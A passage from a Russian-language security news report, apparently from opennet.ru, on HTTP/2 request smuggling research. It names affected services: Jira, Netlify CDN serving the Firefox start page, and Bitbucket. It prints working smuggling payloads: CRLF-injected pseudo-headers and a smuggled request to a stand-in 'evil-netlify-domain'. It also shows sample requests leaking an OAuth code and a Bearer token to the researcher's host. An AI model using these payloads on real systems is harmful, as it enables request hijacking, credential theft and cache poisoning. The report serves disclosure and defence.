ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° хост Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Для Π°Ρ‚Π°ΠΊΠΈ Π½Π° Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ HTTP/2, Π½Π΅ Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° transfer-encoding, Π±Ρ‹Π» ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ‚ΠΎΠ΄, связанный с подстановкой Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ с Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ символом ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° строки (ΠΏΡ€ΠΈ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΈ Π² HTTP/1.1 Π² ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌ случаС создаётся Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°).

НапримСр ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ оказались ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ Atlassian Jira ΠΈ Netlify CDN (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΡ‚Π΄Π°Ρ‡ΠΈ стартовой страницы Mozilla Π² Firefox). Π’ частности, запрос HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠ» ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ бэкСнду запроса HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

Π•Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΈΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ подстановки Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «Transfer-Encoding» стало ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ ΠΊ ΠΈΠΌΠ΅Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ псСвдозаголовка ΠΈΠ»ΠΈ ΠΊ строкС с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ запроса. НапримСр, ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ ΠΊ Atlassian Jira имя псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «foo: bar\r\ntransfer-encoding» со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ «chunked» ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠ»ΠΎ ΠΊ добавлСнию HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² «foo: bar» ΠΈ «transfer-encoding: chunked», Π° ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ Π² псСвдо-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ «:method» значСния «GET / HTTP/1.1\r\nTransfer-encoding: chunked» Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ Π² «GET / HTTP/1.1\r\ntransfer-encoding: chunked».

Π’Ρ‹ΡΠ²ΠΈΠ²ΡˆΠΈΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΠ» Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ Ρ‚ΡƒΠ½Π½Π΅Π»ΠΈΠ½Π³Π° запросов для ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π°Ρ‚Π°ΠΊΠΈ Π½Π° фронтэнды, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ IP-адрСса устанавливаСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ΅ соСдинСниС с бэкСндом ΠΈ Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π½Π΅ ΡΠΌΠ΅ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ. ΠŸΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Π°Ρ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π΅ позволяСт Π²ΠΊΠ»ΠΈΠ½ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² запросы Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π½ΠΎ Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ‚Ρ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠΉ кэш, Π²Π»ΠΈΡΡŽΡ‰ΠΈΠΉ Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π΄Ρ€ΡƒΠ³ΠΈΡ… запросов, ΠΈ позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ подстановку Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ слуТСбных свСдСний ΠΎΡ‚ фронтэнда ΠΊ бэкСнду (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π½Π° сторонС фронтэнда Π² ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… бэкСнду ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒΡΡ свСдСния ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅). Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° примСнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ отравлСния кэша ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π·Π° страницами Π² сСрвисС Bitbucket.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru